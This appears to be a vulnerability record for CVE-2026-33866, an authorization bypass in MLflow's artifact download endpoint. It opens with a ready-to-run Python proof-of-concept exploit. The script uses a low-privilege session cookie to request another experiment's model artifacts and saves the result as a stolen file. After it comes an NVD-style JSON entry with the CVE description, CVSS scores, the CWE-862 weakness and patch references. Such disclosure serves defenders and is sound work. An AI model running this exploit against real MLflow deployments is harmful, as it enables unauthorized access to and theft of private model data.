CVE-2026-33866

import requests # Target MLflow instance URL target_host = "http://target-mlflow-server:5000" # The vulnerable AJAX endpoint for downloading artifacts endpoint = "/ajax-api/2.0/mlflow/artifacts/download" # Attacker's low-privilege session cookie (obtained via login) attacker_cookie = "mlflow-session-cookie=low_priv_user_token" # Headers including the session headers = { "Cookie": attacker_cookie, "User-Agent": "Mozilla/5.0" } # Parameters specifying the unauthorized resource to download # run_id: The ID of the experiment/model the attacker should not access # path: The specific file within the artifacts params = { "run_id": "sensitive_run_id_uuid", "path": "model/data.pkl" } # Send the GET request to exploit the bypass response = requests.get(target_host + endpoint, headers=headers, params=params) if response.status_code == 200: print("[+] Exploit successful! Downloaded artifact.") # Save the stolen artifact with open("stolen_artifact.pkl", "wb") as f: f.write(response.content) else: print(f"[-] Failed to download. Status: {response.status_code}")

{"cve": {"id": "CVE-2026-33866", "sourceIdentifier": "[email protected]", "published": "2026-04-07T13:16:47.000", "lastModified": "2026-04-20T18:45:16.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MLflow is vulnerable to an authorization bypass affecting the AJAX endpoint used to download saved model artifacts. Due to missing access‑control validation, a user without permissions to a given experiment can directly query this endpoint and retrieve model artifacts they are not authorized to access.\n\n \nThis issue affects MLflow version through 3.10.1"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.10.1", "matchCriteriaId": "C1C49CD5-5BB0-422B-9A71-5A6832DF6713"}]}]}], "references": [{"url": "https://afine.com/blogs/attacking-mlflow-how-ml-artifacts-become-attack-vectors", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://cert.pl/en/posts/2026/04/CVE-2026-33865/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/mlflow/mlflow/pull/21708", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}